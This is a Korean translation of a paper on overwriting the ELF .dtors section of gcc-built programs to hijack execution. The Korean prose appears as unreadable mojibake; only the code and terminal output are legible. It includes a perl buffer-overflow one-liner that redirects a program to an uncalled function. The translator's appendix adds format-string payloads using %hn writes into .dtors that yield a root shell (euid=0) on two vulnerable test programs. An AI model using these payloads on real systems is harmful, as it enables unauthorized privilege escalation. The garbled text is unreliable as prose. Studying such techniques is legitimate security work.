------------------------------------------------------------------------------ ÇÁ·Î±×·¥ ½ÇÇà º¯°æÀ» À§ÇØ .dtors¿µ¿ª µ¤¾î ¾²±â (¿øÁ¦: Overwriting ELF .dtors section to modify program execution) ÀÛ¼º: Guido Bakker < guidob@synnergy.net > ¹ø¿ª: willy in Null@Root < jeazon@hanmail.net > ------------------------------------------------------------------------------- ¼Ò °³ ------ ÀÌ ÀÚ·á´Â gcc¿Í ÇÔ²² ÄÄÆÛÀϵǾîÁø CÇÁ·Î±×·¥ÀÇ ½ÇÇà È帧À» Á¶ÀýÇÒ ¼ö ÀÖ´Â ±â¼ú¿¡ ´ëÇØ °£°áÇÏ°Ô ¼³¸íÀ» ÇÑ´Ù. ÀÌ ¹®¼­¸¦ ÀÌÇØÇϱâ À§Çؼ­´Â ÀϹÝÀûÀÎ overflow¿¡ ´ëÇÑ ±â¼úÀûÀÎ ¹æ¹ý¿Í ELFÆ÷¸ä¿¡ ´ëÇÏ¿© ¾Ë°í ÀÖ¾î¾ß ÇÑ´Ù. °¨ »ç ------ °ü½ÉÀÖ´Â ÇùÀǸ¦ ÇØÁØ ga ¿Í dvorak¿¡°Ô °¨»ç °³ ¿ä ------ gcc´Â Æã¼ÇÀ» À§ÇØ ¸î°¡ÁöÀÇ ¼Ó¼º ŸÀÔÀ» ÁغñÇÑ´Ù. Ưº°È÷ ¿ì¸®¿¡°Ô °ü½ÉÀÌ ÀÖ´Â µÎ°³ÀÇ ¼Ó¼ºÀÌ ÀÖ´Ù. ±×°ÍÀº constructors¿Í destructorsÀÌ´Ù. ÀÌµé ¼Ó¼ºÀº ¾Æ·¡¿Í °°Àº ¹æ¹ýÀ¸·Î ÇÁ·Î±×·¡¸Ó¿¡ ÀÇÇØ ÀÛ¼ºµÇ¾îÁú¼ö ÀÖ´Ù. static void start(void) __attribute__ ((constructor)); static void stop(void) __attribute__ ((destructor)); ÄܽºÆ®·°ÅÍ ¼Ó¼ºÀÇ Æã¼ÇµéÀº main()Àü¿¡ ½ÇÇàµÇ°í µð½ºÆ®·°Æ® ¼Ó¼ºÀ¸·Î Á¤ÀÇ µÈ°ÍÀº main() Á¾·áÈÄ¿¡ ½ÇÇàµÉ °ÍÀÌ´Ù. ¸¸µé¾îÁø ELF ½ÇÇà°¡´ÉÇÑ À̹ÌÁö ÀÌ°ÍÀº µÎ°³ÀÇ ´Ù¸¥ ¿µ¿ªÀ¸·Î Ç¥ÇöµÇ¾îÁú¼ö ÀÖ´Ù: .ctors¿Í .dtors µÑ´Ù ¾Æ·¡¿Í °°Àº ·¹À̾ƿôÀ» °®´Â´Ù. 0xffffffff ... 0x00000000 Âü°í: ¸¸¾à Á¤¸» ÀÌ°Í¿¡ ´ëÇÏ¿© ¿©·¯°¡Áö¸¦ ¾Ë°í ½Í´Ù¸é gcc-2.95.2/gcc/collect2.c ¿¡µðÅ͸¦ ½ÇÇà½ÃÅ°±æ ¹Ù¶õ´Ù. ¿©±â¿¡´Â ¾Æ·¡¿Í °°Àº ¸î°¡Áö Ư¼ºÀÌ ÀÖ´Ù. * .ctors¿Í .dtors´Â ÇÁ·Î¼¼½º ÁÖ¼Ò °ø°£ ¸Þ¸ð¸®¿¡ ±â·ÏµÇ¾îÁö°í ±âº»ÀûÀ¸·Î ¾²±â °¡´ÉÇØÁú °ÍÀÌ´Ù. * ±×µé ¿µ¿ªÀº ÀϹÝÀûÀÎ ÀÌÁø strip(1) µÚ¿¡ ¸Ö¸® ¶³¾îÁ® ÀÖÁö ¾Ê´Ù. * ÇÁ·Î±×·¡¸Ó°¡ ÄܽºÆ®·°Åͳª µð½ºÆ®·°ÅÍ µÑÁß ¾î´À°ÍÀ» ¼³Ä¡Çߴ°¡¿¡ ´ëÇÏ¿© ½Å°æ ¾µ ÇÊ¿ä°¡ ¾ø´Ù. ¿Ö³Ä¸é Ưº°È÷ Á¤ÀÇÇÏÁö ¾Ê¾Æµµ µÎ¿µ¿ªÀº ¸Þ¸ð¸®¿¡ ±â·ÏµÇ°í ¾î°ư ³ªÅ¸³­´Ù. »ó¼¼ ³»¿ë ----------- ÀÌÁ¦ Àü ´Ü°è¿¡ ´ëÇÑ Á¤ÀǸ¦ ÇÒ ½Ã°£ÀΰŠ°°´Ù.. $ cat > yopta.c < #include static void start(void) __attribute__ ((constructor)); static void stop(void) __attribute__ ((destructor)); int main(int argc, char *argv[]) { printf("start == %p\n", start); printf("stop == %p\n", stop); exit(EXIT_SUCCESS); } void start(void) { printf("hello world!\n"); } void stop(void) { printf("goodbye world!\n"); } EOF $ gcc -o yopta yopta.c $ ./yopta hello world! start == 0x8048480 stop == 0x80484a0 goodbye world! $ objdump -h yopta . . . 14 .data 0000000c 08049558 08049558 00000558 2**2 CONTENTS, ALLOC, LOAD, DATA 15 .eh_frame 00000004 08049564 08049564 00000564 2**2 CONTENTS, ALLOC, LOAD, DATA 16 .ctors 0000000c 08049568 08049568 00000568 2**2 CONTENTS, ALLOC, LOAD, DATA 17 .dtors 0000000c 08049574 08049574 00000574 2**2 CONTENTS, ALLOC, LOAD, DATA 18 .got 00000024 08049580 08049580 00000580 2**2 CONTENTS, ALLOC, LOAD, DATA . . . $ objdump -s -j .dtors yopta yopta: file format elf32-i386 Contents of section .dtors: 8049574 ffffffff a0840408 00000000 ............ ¿ì¸®°¡ º¼¼ö ÀÖ¾ú‰B´ø °°ÀÌ Àü¿¡ ¾Ö±âÇÑ°Í Ã³·³ stop()ÁÖ¼Ò´Â .dtors¿¡ ÀúÀåµÇ¾îÁ³ ´Ù. ¿ì¸®´Â ÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ·Á´Âµ¥ ¸ñÀûÀÌ Àֱ⿡ ¿©±â¿¡ À¯¿ëÇÏÁö ¾ÊÀº .ctors¿¡ ´ëÇؼ­´Â Àرâ·Î ÇÏÀÚ. ±×·³ À§¿Í °°Àº ÇÔ¼ö ¼Ó¼ºÀÌ ¾ø´Â ÀϹÝÀûÀÎ ÇÁ·Î±×·¥À» °¡Áö°í ½ÃµµÇØ º¸ÀÚ. $ cat > bleh.c < #include #include static void bleh(void); int main(int argc, char *argv[]) { static u_char buf[] = "bleh"; if (argc < 2) exit(EXIT_FAILURE); strcpy(buf, argv[1]); exit(EXIT_SUCCESS); } void bleh(void) { printf("goffio!\n"); } EOF $ gcc -o bleh bleh.c $ ./bleh $ objdump -h bleh . . . 17 .dtors 00000008 0804955c 0804955c 0000055c 2**2 CONTENTS, ALLOC, LOAD, DATA . . . ÁÁ¾Æ, µð½ºÆ®·¯ÅÍ ³ªÅ¸³»´Â Æã¼ÇÀÌ ¾ø¾îµµ ¿©ÀüÈ÷ .dtors°¡ Àִ°ÍÀ» È®ÀÎÇÒ¼ö ÀÖ´Ù. Áö±Ý ÀÌ°ÍÀÇ ³»¿ëÀ» µé¿©´Ù º¸ÀÚ. $ objdump -s -j .dtors bleh bleh: file format elf32-i386 Contents of section .dtors: 804955c ffffffff 00000000 ........ ¿©±â¿¡´Â ¾Õ°ú µÚºÎºÐÀÇ Åױ׸¸ ÀÖÁö Æã¼ÇÀÇ ÁÖ¼ÒµéÀº ³ªÅ¸³ª ÀÖÁö ¾Ê´Ù. À§ÀÇ ¿¹Á¦¿¡¼­ buf¸¦ ½ºÅ×ƽÀ¸·Î ÃʱâÈ­ ¼±¾ðÇÏ¿´´Ù. ÀÌ·¸°Ô ÇÑ ÀÌÀ¯´Â ¿ì¸®ÀÇ ¸ñÇ¥ ÀÎ .dtors¿µ¿ª ¸Å¿ì °¡±îÀÌ¿¡ ÀÖ´Â .data¿µ¿ª°¡ ÀÖÀ¸¹Ç·Î buf¸¦ ÀÌ¿ëÇÏ¿© .dtors¿µ¿ª ¿¡ ƯÁ¤°ªÀ» ÀúÀåÇÏ´Â °ÍÀ» ÇÒ¼ö ÀÖ´Ù. ¹æ¹ýÀº buf¸¦ ¿À¹öÇÃ·Î¿ì ½ÃÅ´À¸·Î¼­ ½±°Ô ¿ì¸®°¡ ¸ñÀûÀ» ÀÌ·ê¼ö ÀÖ´Ù. ÀÌ°ÍÀ» ÀÌ¿ëÇÏ¸é ½ÇÁ¦ÀûÀ¸·Î ÇÁ·Î¼¼½ºÁÖ¼Ò°ø°£¿¡ ¾µ¼ö ÀÖ´Â ¹æ¹ýÀ¸·Î À¯¿ëÇÏ´Ù. (Æ÷¸ä½ºÆ®¸µ °ø°Ý, libc ret¿¡ ÀÇÇØ Á÷Á¢ÀûÀÎ ½ºÆ®¸µÄ«ÇÇ, ºÎ´çÇÑ ¸Þ¸ð¸® ÇÒ´ç.) ÀÌÁ¦ ÁÖ¾îÁø (Á¤»óÀûÀ¸·Î ½ÇÇà/Ãâ·ÂÇÒ ¼ö ¾ø´Â) bleh()À» .dtors ¿£Æ®¸®¸¦ ¸¸µé¾î¼­ ½ÇÇà ½ÃÄÑ º¸ÀÚ. ¿ì¸®°¡ ½ÇÇà½ÃÅ°±â À§Çؼ­´Â ¾Õ Å×±×´Â ½Å°æ¾²Áö ¸»°í µÚÂÊÀÇ Å×±× (0x00000000)À» µ¤¾î¾²±â ÇØ¾ß ÇÑ´Ù. $ objdump --syms bleh | egrep 'text.*bleh' 080484b0 l F .text 0000001a bleh bleh()°¡ 0x080484b0¿¡ À§Ä¡ÇØ ÀÖ´Â °ÍÀ» º¼¼öÀÖ´Ù. ÀÌ°ÍÀ» ÀÌ¿ëÇØ º¸ÀÚ. $ ./bleh `perl -e 'print "A" x 24; print "\xb0\x84\x04\x08";'` goffio! Segmentation fault (core dumped) ÀÌ´Â ¿ì¸®°¡ ¿¹»óÇÑ ´ë·Î ½ÇÇà¾ú¸¸ Á»´õ ±¸Ã¼ÀûÀ¸·Î ³»¿ë¸¦ È®ÀÎÇÏ°í ÇÁ·Î¼¼½º¸¦ º¸°í ¹«¾ùÀÌ ¹Ù²å´ÂÁö º¸ÀÚ. $ gdb bleh core GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... Core was generated by `./bleh AAAAAAAAAAAAAAAAAAAAAAAA? '. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x40013ed8 in ?? () (gdb) bt #0 0x40013ed8 in ?? () #1 0x8048521 in _fini () #2 0x4003c25a in exit (status=0) at exit.c:57 #3 0x80484a3 in main () #4 0x400339cb in __libc_start_main (main=0x8048460
, argc=2, argv=0xbfff f8a4, init=0x80482e0 <_init>, fini=0x804850c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffff8 9c) at ../sysdeps/generic/libc-start.c:92 (gdb) maintenance info sections Exec file: `/home/rwx/tmp/bleh', file type elf32-i386. . . . 0x0804953c->0x08049550 at 0x0000053c: .data ALLOC LOAD DATA HAS_CONTENTS 0x08049550->0x08049554 at 0x00000550: .eh_frame ALLOC LOAD DATA HAS_CONTENTS 0x08049554->0x0804955c at 0x00000554: .ctors ALLOC LOAD DATA HAS_CONTENTS 0x0804955c->0x08049564 at 0x0000055c: .dtors ALLOC LOAD DATA HAS_CONTENTS 0x08049564->0x0804958c at 0x00000564: .got ALLOC LOAD DATA HAS_CONTENTS . . . ¿©±â¼­ ¹«¾ùÀÌ µ¤¾î¾¯¿öÁ³´ÂÁö Á¶»çÇÏÀÚ. (gdb) x/x 0x08049550 0x8049550 : 0x41414141 À̰͵éÀº .eh_frameÀÇ ³»¿ëµéÀÌ´Ù. (¾ð¾îÀÇ Çڵ鷯Æ÷ÀÎÅÍÀ» Á¦¿ÜÇÑ ÀúÀåÀ» À§ÇØ gcc°¡ »ç¿ëµÇ¾ú´Ù.) (gdb) x/x 0x08049554 0x8049554 <__CTOR_LIST__>: 0x41414141 (gdb) x/8x 0x0804955c 0x804955c <__DTOR_LIST__>: 0x41414141 0x080484b0 0x08049500 0x40013ed0 0x804956c <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a960 0x400fb550 0x08048336 0x400338cc (gdb) ¿ì¸®°¡ º¼¼ö ÀÖ¾ú´ø°Íó·³ ¿ì¸®´Â ¾ÕÅ×±×(0xffffffff)¿¡ ´ëÇؼ­´Â ½Å°æ¾²Áö ¾Ê¾Ò´Ù ±×¸®°í ´ÜÁö ¿ì¸®°¡ ¿øÇÏ´Â µÚÅױ׿¡ bleh()ÁÖ¼Ò¸¦ ³ÖÀ¸¹Ç·Î½á ±× Äڵ带 ½ÇÇà½Ãų¼ö ÀÖ¾ú´Ù. ¶ÇÇÑ segmenet faults°¡ ¹ß»ýÇÏ´Â °ÍÀ» º¼¼ö Àִµ¥ ÀÌ°ÍÀº µÚ Å×±×À» ¿ì¸® °¡ ¹Ù²Ù¾ú¼­ ³ªÅ¸´Â ¹®Á¦ÀÓÀ» ½±°Ô ¿¹»óÇÒ¼ö ÀÖ´Ù. °á ·Ð ------ ÁÖÀÔµÈ shellcodeÀ» ½ÇÇà½ÃÅ°±â À§ÇÑ ¼±ÅÃÀûÀÎ ¹æ¹ýÀÇ Æ¯Â¡µéÀÌ´Ù. ÀåÁ¡) 1. ¸¸¾à ¸ñÇ¥ ½ÇÇàÈ­ÀÏÀÌ °ø°ÝÀÚ¿¡°Ô Àб⠰¡´ÉÇÏ°Ô µÇ¾îÀÖ´Ù¸é ½±°Ô ¿ì¸®ÀÇ shellcodeÀÇ ÁÖ¼Ò¸¦ ½á¾ßÇÒÁö Á¤È®ÇÑ À§Ä¡¸¦ ¾Ë¼ö ÀÖ´Ù. ±×·¸Áö ¾Ê¾Æµµ ´ÜÁö ELF À̹ÌÁö¿Í .dtors À§Ä¡¸¸ ¾Ë¾Æµµ ÃæºÐÇÏ´Ù. ÀÌ ÀåÁ¡Àº ÀÕ½ºÇÁ·ÎÀÕÀÇ ½Å·Úµµ ¸¦ »ó´çÈ÷ ³ôÀϼö ÀÖ´Ù. 2. ÀÌ°ÍÀº ´Ù¸¥ ±×·Î¹ú ¿É¼ÂÅ×À̺íÀÇ ¿£Æ®¸®¸¦ µ¤¾î¾²±â ÇÏ´Â °Í°ú °°Àº ±â¼ú¿¡ ºñÇØ ¸Å¿ì ´Ü¼øÇÏ´Ù. ´ÜÁ¡) 1. Èñ»ý ÇÁ·Î±×·¥Àº GNU Åøµé·Î ÄÄÆÛÀÏ°ú ¸µÅ©°¡ µÇ¾îÁ®¾ß ÇÑ´Ù. 2. ƯÁ¤»óȲÇÏ¿¡¼­´Â ÇÁ·Î±×·¥ÀÌ Á¾·áµÇ±â±îÁö shellcode°¡ ÀúÀåµÈ Àå¼Ò¸¦ ã±â ¾î·Á¿ï¼ö ÀÖ´Ù. Have fun! :) ¹ø¿ªÀÚ Ãß°¡ ----------- ÀÌ .dtors µ¤¾î¾²±â ¹æ¹ýÀº Heap overflow¿¡ ÀϺΠÀÀ¿ëµÉ¼ö ÀÖÀ¸³ª buffer°¡ stack ¿µ¿ª¿¡¼­ ¼±¾ðµÇ±â ¶§¹®¿¡ Á¶°ÇÀ» ¸ÂÃ߱Ⱑ ½±Áö ¾ÊÀ» °ÍÀ̶ó »ý°¢µÈ´Ù. ÀÌ ¹æ¹ýÀº FSB(Format String Bug)¿¡ ÀÀ¿ëÇϱ⿡ »ó´çÈ÷ ÁÁ´Ù. FSB¿¡¼­ ret addr¿¡ shellcodeÁÖ¼Ò¸¦ ³Ö´Â ¹æ¹ýÀ» ÁÖ·Î ¾²°ÔµÇ´Âµ¥ ´ëºÎºÐÀÇ ½ÇÇàÈ­ÀÏ µéÀÌ Àб⠱ÝÁö Æ۹̼ÇÀÌ µÇ¾îÀÖÀ¸¹Ç·Î ÇÔ¼öÀÇ ret addr¸¦ ã±â°¡ ½±Áö ¾Ê´Ù. ÀÌ·¸¶§ ½±°Ô ÀÌ¿ëÇÒ ¼ö ÀÖ´Â ÀåÁ¡ÀÌ ÀÖ´Ù. ¶Ç ÇÑ°¡Áö ÀåÁ¡Àº ÇÔ¼ö°¡ Á¤»óÀûÀ¸·Î ¸®ÅϵÇÁö ¾ÊÀº °æ¿ì, ÀÌ·± °æ¿ì¿¡´Â ret addr¸¦ °ø°ÝÇÒ¼ö ¾ø´Âµ¥ ÀÌ·²¶§µµ ÀÌ .dtorsµ¤¾î¾²±â¸¦ ¾µ¼ö ÀÖ´Ù. °£´ÜÈ÷ FSB¿¡ ÀÀ¿ëÇØ º¸ÀÚ. [willy@localhost test]$ more t1.c main() { char buf[100]; scanf("%s",buf); printf(buf); } ÀÌ´Â °£´ÜÇÑ Format string bug ÇÁ·Î±×·¥ÀÌ´Ù. [willy@localhost test]$ cc t1.c -o t1 [willy@localhost test]$ objdump -s -j .dtors t1 t1: file format elf32-i386 Contents of section .dtors: 804948c ffffffff 00000000 ........ ¿©±â¼­ .dtorsÀÇ ÁÖ¼Ò°¡ 0x0804948cÀÌ°í tail tag°¡ 0x08049490ÀΰÍÀ» ¾Ë¼ö ÀÖÀ¸¹Ç·Î À̸¦ ÀÌ¿ëÇÏ¿© °£´ÜÇÑ exploitÀ» ¸¸µé¾î º¸ÀÚ. (shellcode´Â 0xbffff770¿¡ ÀÖÀ½) [willy@localhost test]$ (printf "\x41\x41\x41\x41\x90\x94\x04\x08\x41\x41 \x41\x41\x92\x94\x04\x08%%63328c%%hn%%51343c%%hn";cat) | ./t1 id; uid=502(willy) gid=502(willy) euid=0(root) groups=502(willy),1000(webadm) [willy@localhost test]$ ´Ü¹ø¿¡ °ø°Ý ÁÖ¼Ò¸¦ ãÀ» ¼ö ÀÖÀ¸¹Ç·Î¼­ ½±°Ô exploitÀ» ¸¸µé ¼ö ÀÖ´Ù. À̹ø¿¡´Â À§ÀÇ t1.c ¼Ò½º ³¡ºÎºÐ¿¡ exit()¸¦ Ãß°¡Çؼ­ main() ÇÔ¼ö°¡ Á¤»óÀûÀ¸·Î ¸®ÅÏ µÇÁö ¸øÇÏ°Ô Çغ¸ÀÚ. [willy@localhost test]# more t2.c main() { char buf[100]; scanf("%s",buf); printf(buf); exit(); } [willy@localhost test]$ cc t2.c -o t2 [willy@localhost test]$ objdump -s -j .dtors t2 t1: file format elf32-i386 Contents of section .dtors: 80494cc ffffffff 00000000 ........ [willy@localhost test]$ (printf "\x41\x41\x41\x41\xd0\x94\x04\x08\x41\x41 \x41\x41\xd2\x94\x04\x08%%63328c%%hn%%51343c%%hn";cat) | ./t1 id; uid=502(willy) gid=502(willy) euid=0(root) groups=502(willy),1000(webadm) [willy@localhost test]$ ¿ª½Ã ¹®Á¦¾øÀÌ °ø°ÝÇÒ¼ö ÀÖÀ½À» ¾Ë¼ö ÀÖ´Ù. .dtors µ¤¾î¾²±â ¹æ¹ýÀ» Àß ÀÀ¿ëÇϸé Á»´õ »õ·Î¿î °ø°Ý¹ýµéÀ» °³¹ßÇÒ¼ö ÀÖÀ» °ÍÀ¸·Î ÆǴܵȴÙ. Ãâó: http://www.synnergy.net/Archives/Papers/rwxrwxrwx/dtors.txt http://www.securityfocus.com/archive/1/150396